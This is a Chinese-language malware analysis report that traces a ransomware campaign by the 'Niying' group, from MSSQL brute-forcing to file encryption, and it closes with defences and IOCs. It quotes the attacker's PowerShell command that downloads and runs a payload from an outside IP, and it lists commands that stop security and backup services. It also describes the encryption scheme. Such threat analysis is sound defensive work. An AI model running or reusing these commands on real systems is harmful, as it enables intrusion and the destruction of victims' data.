事件概述
近期,有客户反馈服务器文件被加密,新华三攻防实验室立即响应。在排查过程中,发现中毒主机上有大量MSSQL爆破日志及PowerShell运行日志。通过对日志及关联样本进行分析,最终判定此次攻击为“匿影”组织所为。
“匿影”组织于2019年3月份首次被披露,从被披露的3年来,该组织一直保持较高的活跃度,变种也在持续升级。在早期活动中,“匿影”使用永恒之蓝漏洞向受害者计算机植入挖矿病毒,利用中毒主机资源挖取门罗币为主的加密数字货币。2020年4月份,一场在全网大规模传播“WannaRen”勒索病毒事件引起广泛关注,经溯源分析,其幕后黑手正是“匿影”组织。12月份,研究人员在“匿影”的攻击活动中发现了一个新的自称为CryptoJoker勒索模块,索要赎金从“WannaRen”的0.05BTC涨至0.1BTC;在随后的“匿影”攻击套件中还发现了文件窃密模块,新的窃密模块主要对用户的虚拟货币钱包、身份证、密码等重要文件数据进行窃取。在国家对挖矿活动整治的背景下,该组织成功拓展了勒索、窃密等能力。并且,我们在之后的“匿影”组织攻击活动跟踪中,发现多数事件均以勒索为目的,表明该组织已经将重心从挖矿转向勒索攻击。
“匿影”组织近年发起的主要攻击事件
事件分析
攻击流程
新华三攻防实验室还原“匿影”完整勒索攻击过程
样本分析
■ 初始入侵
通过MSSQL扫描爆破获取中毒主机权限,最终执行PowerShell指令,下载cpu2.txt到本地执行
解码为:
IEX((new-objectnet.webclient).downloadstring (‘http://185.198.166.202/cpu2.txt’))
■ 载荷下载
cpu2.txt实际是powershell下载器
下载各种文件至C:\Users\Public文件夹下
下载完成后,cpu2.txt会执行ms.exe
■ 白加黑利用
ms.exe主要负责执行lu.exe,利用白加黑技术躲避杀软检测,执行后续攻击
lu.exe是白文件,原文件名”Start.exe”,Sandboxie相关,包含有效证书
lu.exe会加载SbieDll.dll,该dll为黑文件,负责解密执行123.txt
■ 勒索实施
1、123.txt
123.txt内容经过Base64编码,解码后,得到一个整型的宽字节数组。
将该整数组转为bytes类型后得到一个未知类型文件,经分析,该文件由一段shellcode和一个恶意可执行PE文件“123_dump”组合构成。
Shellcode用来解密出被混淆的API,通过调用VirtualAlloc,VirtualProtect等API,加载“123_dump”到新分配内存空间中执行。
2、123_dump——解密执行shell.txt
样本运行后,首先会查找目录C:\users\public下是否有1949.txt,该文件的存在是决定程序是否继续执行的标志,但程序并未加载解析1949.txt的内容。
进程提权,程序会查询当前进程,实现系统级别提权。
解密shell.txt。程序会拼接当前程序目录C:\User\Public\shell.txt查找shell.txt, 若文件存在,则加载到申请的内存空间中。shell.txt本身是经过加密的文件,无法直接执行。程序随即通过硬编码的解密算法字符串“RC4”和密钥“999888”作为参数传入sub_10001DFB函数中。
经分析sub_10001DFB函数中,不仅支持RC4算法解密,还包括对RC2,DES,3DES,AES192,AES256,以及对分组加密的五种模式CBC,ECB,OFB,CFB CTR进行解密。
RC4解密完成后,在新分配的内存空间中得到一个可执行PE文件。
随后程序使用进程镂空方式将该恶意PE文件注入到系统程序servces.exe并执行。
3、shell.txt
MD5 | 96cec5f391836920f1442a6492b02bd8 |
文件大小 | 4.28 MB (4,489,216 字节) |
文件类型 | PE32,exe |
时间戳 | 2022-09-01 09:46:31 |
编译信息 | Microsoft Visual C/C++(6.0 (1720-9782))[EXE32] |
C&C | m.mssqlnewpro.com |
shell.txt包含了11个子PE文件,用以实现提权、终止进程、终止服务、加密文件的功能,主要调用关系如下:
为方便描述,将子PE文件命名为shell.txt.decrypted2.v~shell.txt.decrypted12.v,具体分析见下文。
(1) shell.txt
创建事件对象:ezrxtcfyvgihuewawaeewekb
判断是否有管理员权限,取不同标识字符串,管理员为“zzz”,非管理员为“jjj”
获取主机名、用户名、公网IP等信息,与权限标识字符串拼接成一个字符串作为文件名称
回传信息至:
hxxp://m.mssqlnewpro.com/mssqlzzz/upload.php
然后,创建cmd.exe或notepad.exe进程并注入恶意载荷shell.txt.decrypted.2.v实施勒索攻击。
在非管理员权限下,shell.txt释放C:\Users\Public\a.dll、C:\Users\Public\CVE20211675.exe、C:\Users\Public\MSFRottenPotato.exe等PE文件,利用CVE-2021-1675、CVE-2021-1732、CVE-2022-21882等漏洞进行提权,并重新执行lu.exe文件。
(2)shell.txt.decrypted.2.v
MD5 | 2762cf71bb00085bf326d02133ac47c1 |
文件大小 | 636 KB (651,264 字节) |
文件类型 | PE32,exe |
时间戳 | 2022-09-01 09:42:39 |
编译信息 | Microsoft Visual C/C++(6.0 (1720-9782))[EXE32] |
C&C | m.mssqlnewpro.com |
判断是否为管理员,取不同标识字符串:
另外创建一个线程,下载 hxxps://m.mssqlnewpro.com/admin.jpg ,对其进行RC4 解密,key为”999888″,然后通过进程注入执行。该解密方式和key与123.txt解密shell.txt一致。
再次判断管理员权限,如果是管理员,则:
先删除之前下载的文件防止溯源分析,部分如下:
然后依次注入执行 shell.txt.decrypted.3.v 、shell.txt.decrypted.4.v
(3)shell.txt.decrypted.4.v——关闭进程和服务
MD5 | ad0742217c04f05b90cbea2a86b047ca |
文件大小 | 164 KB (167,936 字节) |
文件类型 | PE32,exe |
时间戳 | 2022-08-29 14:20:47 |
编译信息 | Microsoft Visual C/C++(6.0 (1720-9782))[EXE32] |
创建事件对象 rsedtfyguhijoiy69ggjhhjggs464
查找并关闭以下进程:
关闭以下服务:
通过命令行关闭大量数据库和数据备份相关服务,及一些安全软件相关服务,共183项
NET stop MSSQL$SQLEXPRESS /Y
NET STOP acrsch2svc /Y
NET STOP acronisagent /Y
NET STOP arsm /Y
NET STOP FirebirdServerDefaultInstance /Y
NET STOP FirebirdGuardianDefaultInstance /Y
NET STOP MuzzleServer /Y
sc stop \”Acronis VSS Provider\” /y
sc stop \”Enterprise Client Service\” /y
sc stop \”Sophos Agent\” /y
……
sc stop kavfsslp /y
sc stop KAVFSGT
sc stop KAVFS /y
sc stop mfefire
(4)shell.txt.decrypted.5.v——NTSD.exe
原始文件名 | NTSD.Exe |
MD5 | fdd5617984b24d21991f80bc94714218 |
文件大小 | 31.0 KB (31,744 字节) |
文件类型 | PE32,exe |
时间戳 | 2001-08-18 04:54:36 |
pdb path: ntsd.pdb,是Windows自带的用户态调试工具,可用于强制结束进程。
(5)shell.txt.decrypted.3.v——执行加密操作
MD5 | 13fb686be7a929e8d96558a223da545e |
文件大小 | 272 KB (278,528 字节) |
文件类型 | PE32,exe |
时间戳 | 2022-09-01 09:41:07 |
编译信息 | Microsoft Visual C/C++(6.0 (1720-9782))[EXE32] |
C&C | m.mssqlnewpro.com |
判断是否为管理员,是则创建事件对象 eyrwtyyweyetywetrey, 不是则ewyrgrjhshasdftagdagere
在以下字符中随机生成RC4和AES密钥
密钥通过RSA公钥加密并base64编码保存
删除卷影
遍历各磁盘,获取具有以下后缀的目标文件
doc, docx, xls, dat, xlsx, ec, ppt, pptx, pst, ost, msg, eml, vsd, vsdx, txt, csv, rtf, 123, wks, wk1, pdf, dwg, onetoc2, snt, jpeg, jpg, docb, docm, dot, dotm, dotx, xlsm, xlsb, xlw, xlt, xlm, xlc, xltx, xltm, pptm, pot, pps, ppsm, ppsx, ppam, potx, potm, edb, hwp, 602, sxi, sti, sldx, sldm, vdi, vmdk, vmx, gpg, aes, ARC, PAQ, bz2, tbk, bak, tar, tgz, gz, 7z, rar, zip, backup, iso, vcd, bmp, png, gif, raw, cgm, tif, tiff, nef, psd, ai, svg, djvu, m4u, m3u, mid, wma, flv, 3g2, mkv, 3gp, mp4, mov, avi, asf, mpeg, vob, mpg, wmv, fla, swf, wav, mp3, sh, class, jar, java, rb, asp, php, jsp, brd, sch, dch, dip, pl, vb, vbs, ps1, bat, cmd, js, asm, h, pas, cpp, c, cs, suo, sln, ldf, mdf, ibd, myi, myd, frm, odb, dbf, db, mdb, accdb, sql, sqlitedb, sqlite3, asc, lay6, lay, mml, sxm, otg, odg, uop, std, sxd, otp, odp, wb2, slk, dif, stc, sxc, ots, ods, 3dm, max, 3ds, uot, stw, sxw, ott, odt, pem, p12, csr, crt, key, pfx, der
排除包含以下字符串的文件路径:
■ 加密逻辑:
· 当文件小于等于20000字节(约19KB)时,使用RC4加密,key为”ksfdskjl81″
· 当文件大于20000字节,小于30000000字节(约19MB)时,全部读取加密,RC4加密全文件,AES加密前20000字节(CBC不填充模式,IV为0,实际加密20016字节,最后16字节为空),最后会附加16字节加密数据和684字节base64编码之后的RSA加密key
· 当文件大于等于30000000字节时,只加密前30000000字节,RC4加密前30000000字节,AES加密前100000字节(CBC不填充模式,IV为0,实际加密100016字节,最后16字节为空),后面保持原内容,最后会附加16字节加密数据和684字节base64编码之后的RSA加密key
加密后缀为.locked,被加密文件目录下会生成名为HOW_TO_DECRYPT.txt的勒索信
加密完成后,会连接一次C2服务器,回传相关信息和加密结果
“匿影”组织技术特点
■ 入侵传播阶段
“匿影”擅长在各大软件下载站、免费图床、网盘等公共基础网络上进行木马传播,比如,将伪装成BT下载器、激活工具程序的恶意代码上传至各大下载站。除此之外,一些第三方公司网站也被“匿影”攻陷并充当木马下载服务器。另外,“匿影”经常使用开源渗透工具Ladon对公网上的主机进行MS17-010漏洞利用、弱口令爆破等。
■ 载荷执行阶段
该组织具有模块化开发的能力,各组件分工明确。并且该组织注重躲避安全软件的检测,其常用的免杀手段包括:
1) 无文件攻击。无论是在早期挖矿还是在后期勒索中,当成功入侵到受害者主机后,“匿影”惯用PowerShell来执行后续一系列攻击步骤,包括其他恶意模块下载、加载执行、持久化等。
2) 白加黑技术。利用白exe加载恶意dll来躲避安全软件检测,该组织已使用过的白加黑利用手段有WINWODR.exe、Start.exe(Sandboxie)等。
3) 加密混淆核心载荷。通过PowerShell脚本下载的载荷通常进行了加密混淆处理,常使用Base64编码、逆序、字符类型转化、异或、RC4加密等。解密后的关键代码还会使用Themida壳或VMP壳进行保护,最后再被命名为以.txt和.jpg为主的具有迷惑性的文件后缀。
■ ATT&CK分布图
■ 具体技术行为描述表
ATT&CK 阶段/类别 | 具体行为 | 注释 |
初始访问 | 永恒之蓝漏洞 | 永恒之蓝漏洞 |
初始访问 | 入侵供应链 | 公共软件下载站 |
初始访问 | 弱口令爆破 | sqlserver、机器密码 |
执行 | 利用命令和脚本解释器 | PowerShell脚本 |
执行 | 诱导用户执行 | 破解软件、BT下载器 |
执行 | 进程注入 | 加载到内存执行 |
持久化 | 创建计划任务、自启动服务 | |
防御规避 | DLL劫持 | “白+黑”执行 |
防御规避 | 混淆文件或信息 | 编码和加密 |
防御规避 | 利用匿名网盘\图床存放攻击载荷 | 伪装jpg、txt等文件 |
防御规避 | 禁用安全软件产品 | |
防御规避 | 进程注入 | 加载到内存执行 |
防御规避 | 隐藏行为 | 消除攻击痕迹、删除日志 |
凭证访问 | 暴力破解 | |
发现 | 获取用户账户、文件和目录、系统信息 | |
横向移动 | 永恒之蓝漏洞 | 永恒之蓝漏洞 |
命令与控制 | 使用 FTP 服务器 | |
命令与控制 | 使用应用层协议 | 使用HTTP协议 |
影响 | 资源劫持(挖矿) | |
影响 | 加密文件、禁止系统恢复(勒索攻击) |
新华三防护方案
处置建议
1、避免将重要服务映射至公网,若业务需要,请增加口令复杂度,避免使用弱口令
2、尽量通过官方下载渠道下载软件,使用正版软件
3、请及时更新系统补丁,减少系统漏洞带来的风险
4、重要文件请及时备份
IPS特征库
针对本次勒索攻击事件应用的MSSQL爆破、MSSQL命令执行,新华三IPS特征库能够有效拦截,请及时开启相关功能。
AV特征库
新华三病毒特征库已支持查杀拦截此次事件使用的病毒文件,请及时更新至最新版本。
情报特征库
新华三情报特征库支持此次事件相关IOC的检测。
IOCs
■ MD5
2d7f3d26acc665c10fadacd7ee743165
773c3f361066a19fb67628e461450025
b627b7cb376bdc1f385bf92d218a3ec1
ad7a2de6004989b98f45f025419ae4bb
96cec5f391836920f1442a6492b02bd8
2762cf71bb00085bf326d02133ac47c1
ad0742217c04f05b90cbea2a86b047ca
fdd5617984b24d21991f80bc94714218
13fb686be7a929e8d96558a223da545e
■ C&C
hxxp://185.198.166.202/123.txt
hxxp://185.198.166.202/1949.txt
hxxp://185.198.166.202/2.exe
hxxp://185.198.166.202/SbieDll.dll
hxxp://185.198.166.202/cpu2.txt
hxxp://185.198.166.202/dwmc.exe
hxxp://185.198.166.202/lu.exe
hxxp://185.198.166.202/ms.exe
hxxp://185.198.166.202/msvcr100.dll
hxxp://185.198.166.202/shell.txt
hxxp://m.mssqlnewpro.com/1/upload.php
hxxp://m.mssqlnewpro.com/2/upload.php
hxxp://m.mssqlnewpro.com/3/upload.php
hxxp://m.mssqlnewpro.com/4/upload.php
hxxp://m.mssqlnewpro.com/5/upload.php
hxxp://m.mssqlnewpro.com/6/upload.php
hxxp://m.mssqlnewpro.com/mssql/upload.php
hxxp://m.mssqlnewpro.com/mssql2/upload.php
hxxp://m.mssqlnewpro.com/mssqlggg/upload.php
hxxp://m.mssqlnewpro.com/mssqlzzz/upload.php
hxxps://m.mssqlnewpro.com/admin.jpg